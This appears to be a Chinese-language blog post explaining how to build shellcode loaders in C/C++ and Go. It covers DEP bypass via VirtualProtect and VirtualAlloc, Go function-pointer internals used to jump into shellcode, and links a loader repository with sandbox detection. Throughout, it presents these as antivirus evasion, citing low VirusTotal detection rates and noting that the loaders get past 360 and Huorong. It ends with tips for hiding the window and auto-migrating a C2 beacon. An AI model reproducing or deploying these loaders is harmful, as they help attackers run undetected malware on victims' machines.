Go动态加载shellcode

  11 mins to read  

List [CTL]

    加载器repo:https://github.com/EddieIvan01/gld

    本文相关的代码可以在https://github.com/EddieIvan01/gld/tree/master/sample找到

    在C/Cpp中动态加载shellcode

    简述C/Cpp动态加载shellcode

    Cast char array ptr to function ptr

    低版本系统中将函数指针指向shellcode数据段就OK了,或者在VS编译X86时嵌入asm

    #pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
    
    unsigned char buf[] = {...};
    
    int main() {
        ((void(*)(void))&buf)();
        
        // ((void(WINAPI*)(void))&buf)();
        
        /*
        __asm {
            mov eax, offset buf
            jmp eax
        }
        */
    }
    

    Win32API VirtualProtect

    高版本中默认开启DEP(Data Execution Prevention),数据段默认仅有RW权限,代码段为READONLY权限

    // constants
    #define PAGE_NOACCESS           0x01    
    #define PAGE_READONLY           0x02    
    #define PAGE_READWRITE          0x04    
    #define PAGE_WRITECOPY          0x08    
    #define PAGE_EXECUTE            0x10    
    #define PAGE_EXECUTE_READ       0x20    
    #define PAGE_EXECUTE_READWRITE  0x40    
    #define PAGE_EXECUTE_WRITECOPY  0x80 
    
    // function signature
    BOOL VirtualProtect{ 
        LPVOID lpAddress,       // 内存块起始地址
        DWORD dwsize,           // 内存块长度
        DWORD flNewProtect,     // 设置内存块属性 0x40(PAGE_EXECUTE_READWRITE)
        PDWORD lpflOldProtect   // 内存块原始属性保存地址
    }
    

    调用Win32API的VirtualProtect修改数据段为PAGE_EXECUTE_READ权限,或增加预编译指令修改数据段权限

    修改成RX权限就足够了,RWX内存块太明显容易被杀,实际上,仅仅PAGE_EXECUTE权限也是可以正常执行的,X和RX行为类似:SO

    void(*fn)(void);
    fn = (void(*)(void)) & buf;
    
    DWORD oldperm;
    if (!VirtualProtect(&buf, sizeof buf, 0x40, &oldperm)) 
        return -1;
    fn();
    
    
    /*=======================================================*/
        
    
    #pragma comment(linker, "/section:.data,RWE")
    

    Win32API VirtualAlloc

    另一种方法:使用VirtualAlloc分配指定权限的内存块

    // function signature
    LPVOID VirtualAlloc(
      LPVOID lpAddress,
      SIZE_T dwSize,
      DWORD  flAllocationType,
      DWORD  flProtect
    );
    
    LPVOID lpAlloc = VirtualAlloc(0, sizeof buf, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(lpAlloc, buf, sizeof buf);
    ((void(*)())lpAlloc)();
    

    Nt(Zw)ProtectVirtualMemory/Nt(Zw)AllocateVirtualMemory

    ntdll的非导出函数,是kernel32的那两个函数在R3的最底层,多了个process handle参数,

    R3下的Nt*Zw*没区别,之所以写Nt(Zw),因为说不定AV的黑名单不全 :)

    在Go中动态加载shellcode

    Invoke VirtualProtect & VirtualAlloc in Go

    通过Go加载shellcode效果很不错,stageless shellcode能轻松过360和火绒,VirusTotal基本6/70左右的查杀率

    Go加载kernel32.dll,调用VirtualProtect,修改byte slice的内存块权限

    var virtualProtect = syscall.NewLazyDLL("kernel32.dll").NewProc("VirtualProtect")
    
    var oldperm uint32
    virtualProtect.Call(
        uintptr(unsafe.Pointer(&buf[0])),
        uintptr(len(buf)),
        uintptr(0x40),
        uintptr(unsafe.Pointer(&oldperm)),
    )
    syscall.Syscall(uintptr(unsafe.Pointer(&buf[0])), 0, 0, 0, 0)
    

    要注意的是,Golang里的byte slice指针实际指向的是SliceHeader结构体,加载shellcode时需要获取底层存储数组的指针,这样才能到达shellcode的入口。以下两种方式是等效的

    (*reflect.SliceHeader)(unsafe.Pointer(&buf)).Data
    &buf[0]
    

    Go调用VirtualProtect,自己实现memcpy函数,最后也是通过syscall来调用

    var virtualAlloc = syscall.NewLazyDLL("kernel32.dll").NewProc("VirtualAlloc")
    
    func memcpy(base uintptr, buf []byte) {
    	for i := 0; i < len(buf); i++ {
    		*(*byte)(unsafe.Pointer(base + uintptr(i))) = buf[i]
    	}
    }
    
    addr, _, err := virtualAlloc.Call(0, uintptr(len(buf)), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE)
    if addr == 0 {
        panic(err)
    }
    memcpy(addr, buf)
    syscall.Syscall(addr, 0, 0, 0, 0)
    

    (题外话:uintptr没有指针语义

    上面调用VirtualAlloc的方式其实是不严谨的,因为VirtualAlloc返回了uintptr,而uintptr没有指针语义,即该内存块引用计数为0,随时可能被GC掉(但其实对于这种加载Shellcode的场景问题不大)

    那么只需要使用一个Go的类型来承接,第一个想到的是byte数组,但由于编译期不知道shellcode长度,所以需要预先分配一块大内存,这样写感觉不太清真

    ptr := (*[990000]byte)(unsafe.Pointer(addr))
    for i, _ := range buf {
        ptr[i] = buf[i]
    }
    

    那么自然想到通过动态分配的Slice来做,将SliceHeader指向底层数组的指针修改为分配的内存块指针,寄希望于GC处理Slice时会考虑它引用的底层数组

    shellcode := make([]byte, len(buf), len(buf))
    (*(*reflect.SliceHeader)(unsafe.Pointer(&buf))).Data = address
    for i, _ := range buf {
        shellcode[i] = buf[i]
    }
    

    但很遗憾,reflect.SliceHeader的注释说的很明白

    Moreover, the Data field is not sufficient to guarantee the data it references will not be garbage collected, so programs must keep a separate, correctly typed pointer to the underlying data.

    实验一下:

    func T1() []int {
        fmt.Println("T1")
        x := [64]int{}
        fmt.Println(x)
    
        return x[:]
    }
    
    func T2() []int {
        fmt.Println("T2")
        x := [64]int{}
        fmt.Println(x)
    
        tmp := reflect.SliceHeader{
            (uintptr)(unsafe.Pointer(&x[0])), 64, 64,
        }
        return *(*[]int)(unsafe.Pointer(&tmp))
    }
    
    func main() {
        x := T1()
        runtime.GC()
        fmt.Println(x)
    
        x = T2()
        runtime.GC()
        fmt.Println(x)
    }
    

    OUTPUT:

    T1
    [0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0]
    [0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0]
    T2
    [0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0]
    [0 2 824634301200 4234250 4938528 4894336 1 0 824634301824 4826714 4938528 4894336 824633737280 0 0 0 0 0 0 0 4894336 0 0 0 0 0 23 824634301824 4831950 824634042608 4900672 824634301384 386 118 1 386 196608 0 3940709804408846 48 8 0 14680288 17193013920 8192 13152216 60130459662 824634301544 0 32 33751040 33751040 5140577 53 0 8 4961728 13152216 824634301760 4242256 23 1024 1024 4958720]
    

    所以如果为了绝对的内存安全,貌似只有上面那种不清真的做法可行

    Execute shellcode by syscall.Syscall

    看到上面两个例子都是通过syscall.Syscall执行shellcode

    syscall.Syscall(uintptr(unsafe.Pointer(&buf[0])), 0, 0, 0, 0)
    

    syscall.Syscall实际链接了runtime/syscall_windows.go中的syscall_Syscall函数,是通过CGO来调用的。CGO有很多缺点,包括性能问题,无法交叉编译,无法完全静态编译,所以我希望通过pointer cast来调用

    Cast byte array ptr to function ptr in Go

    Go也有指针,能否像C/Cpp一样(*((void(*)(void))&buf))()来调用shellcode?

    改写成Go

    (*(*func())(unsafe.Pointer(&buf[0])))()
    

    运行后crash了,我们需要知道几件事

    C/Cpp里之所以可以通过强转指针来执行,是因为C/Cpp这种原始语言里的函数实际是一个地址,跳转到入口地址即可

    Go里的函数是个first-class,而且函数对象中并不仅仅包含指针,还包含defer定义的函数栈,所以我们将byte array的指针强转为函数指针这种做法自然不行

    Go runtime中的函数元信息结构

    实际上Go中的函数对象在runtime中的数据结构是这样(src/runtime/runtime2.go),和slice相同,第一个成员都是指针

    type _func struct {
    	entry   uintptr // start pc
    	nameoff int32   // function name
    
    	args        int32  // in/out args size
    	deferreturn uint32 // offset of a deferreturn block from entry, if any.
    
    	pcsp      int32
    	pcfile    int32
    	pcln      int32
    	npcdata   int32
    	funcID    funcID  // set for certain special runtime functions
    	_         [2]int8 // unused
    	nfuncdata uint8   // must be last
    }
    

    这里提一下踩的坑,开始猜想Golang底层用struct _func来存储first-class function,但经过以下测试后发现不对,args参数对不上

    f := func(a int) {}
    fmt.Println((*_func)(unsafe.Pointer(&f)))
    
                
    /*
    OUTPUT
    &{5174256 5832352 0 0 0 0 0 0 0 [0 0] 0}
    */       
    

    多解引一层?确实拿到了PC地址,但还是不对。打印出来的内存实际上是GO维护的函数PC table,后文会讲

    fmt.Println(*(**_func)(unsafe.Pointer(&f)))
    
    
    /*
    OUTPUT 
    &{4890032 4831504 0 4831664 0 4818512 0 4818640 0 [0 0] 0}
    */
    

    通过runtime包拿到真正的struct _func信息:

    f := func() uintptr {
        pc, _, _, _ := runtime.Caller(0)
        return pc
    }
    pc := f()
    info := (*_func)(unsafe.Pointer(runtime.FuncForPC(pc)))
    fmt.Println(info)
    
    
    /*
    OUTPUT
    &{4890032 485296 8 0 485340 485347 485351 2 0 [0 0] 3}
    */
    

    尝试直接修改会报错,此处因为在代码段默认只是READONLY权限

    info.entry = (uintptr)(unsafe.Pointer(&buf[0]))
    

    使用VirtualProtect修改,并打印oldperm。成功执行,打印出来oldperm为2,对应READONLY,验证我们的猜想

    var oldperm uint32
    virtualProtect.Call(
        uintptr(unsafe.Pointer(info)),
        uintptr(unsafe.Sizeof(*info)),
        uintptr(0x40),
        uintptr(unsafe.Pointer(&oldperm)),
    )
    
    println(oldperm)
    info.entry = (uintptr)(unsafe.Pointer(&buf[0]))
    

    但修改后并不能覆盖f,因为_func并不是实际的first-class对象,而只是runtime用来记录函数元信息的结构

    Go中的first-class函数对象是一个双重指针

    IDA里跟踪以下代码输出的地址

    f := func() {}
    fmt.Println(*(*uintptr)(unsafe.Pointer(&f)))
    fmt.Println(**(**uintptr)(unsafe.Pointer(&f)))
    
    /*
    OUTPUT
    5169560
    4889760
    */
    

    5169560地址指向了4889760,5169560处的内存块处都是函数的入口地址表

    off_4DA668      dq offset main_main_func1
    off_4DA670      dq offset os___file__close
    off_4DA678      dq offset reflect_cvtBytesString
    off_4DA680      dq offset reflect_cvtComplex
    off_4DA688      dq offset reflect_cvtDirect
    off_4DA690      dq offset reflect_cvtFloatInt
    off_4DA698      dq offset reflect_cvtFloatUint
    

    通过查看内存结构,Go中的first-class function是一个双重指针,解引两次后到达函数入口(也就是相比C/Cpp的函数指针需要多一次解引);直接func x() {}定义的函数不可取址,且不在PC table中存储入口地址,它实际就代表了函数自身

    比如下面的例子,你应该能通过IDA里看到表中有main_main_func1main_X,而表内没有main_Y(与内联与否无关)

    func X() {}
    
    func Y() {}
    
    func main() {
        Z := func() {}
        x := X
    }
    

    直接定义的函数是不可寻址的,如果硬要取它的地址,只能通过反射

    func X() {}
    
    func main() {
        x := X
        println(*(*uintptr)(unsafe.Pointer(&x)))
        println(**(**uintptr)(unsafe.Pointer(&x)))
        fmt.Println(reflect.ValueOf(X).Pointer())
    }
    
    
    /*
    OUTPUT
    5088224
    4827056
    4827056
    */
    

    可以看到X的地址就是机器码中函数的入口地址,而first-class的函数对象则是一个指向PC table中函数入口地址的指针

    IDA里看一下,把&f识别为了三重指针void(***f)()

    lea     rcx, off_4DA638  ;; off_4DA638是f函数的入口地址
    mov     [rax], rcx
    ...
    mov     rax, [rsp+60h+var_20]
    mov     rdx, [rax]
    mov     rax, [rdx]
    call    rax
    
    
    // F5
    __int64 (***v2)(void);
    return (**v2)();
    

    搞懂这些后,如何cast the pointer就很简单了:

    var ptr uintptr = (uintptr)(unsafe.Pointer(&buf[0]))
    *(*uintptr)(unsafe.Pointer(&f)) = (uintptr)(unsafe.Pointer(&ptr))
    

    上面的做法是修改第一层指针也就是f本身,当然也可以修改第二层指针也就是f指向的函数真实入口地址,但因为第二层指针是READONLY权限,不同于f的READWRITE,直接运行会crash,所以还需要调用VirtualProtect修改指针的权限

    virtualProtect.Call(
        *(*uintptr)(unsafe.Pointer(&f)),
        uintptr(unsafe.Sizeof(**(**uintptr)(unsafe.Pointer(&f)))),
        uintptr(0x40),
        uintptr(unsafe.Pointer(&oldperm)),
    )
    
    **(**uintptr)(unsafe.Pointer(&f)) = (uintptr)(unsafe.Pointer(&buf[0]))
    

    ShellCode Loader

    实现一个加载器很简单,将shellcode加密后动态加载

    但问题出在,上述cast pointer的做法在x64下有概率出现内存错误(我仅会在x64下加载stageless shellcode时遇到),原因我猜是因为uintptr没有指针语义,例如fmt.Fprint内部buffer有可能破坏它的内存(以前遇到过一个fmt的buffer memory leak)

    所以一般情况下使用x86 shellcode + pointer cast是没有问题的,在x64下为了稳还是使用syscall加载比较好

    加载器还内置了检测沙盒功能,具体细节见README


    加载生成的shellcode二进制打开后就是一个黑窗,可能还没来得及migrate process对方就关闭了。

    解决的办法

    • initial_beacon中设置auto migrate,但还得连带把initial sleep设置成尽可能短
    • 添加编译选项,打开直接后台执行:-ldflags="-H windowsgui"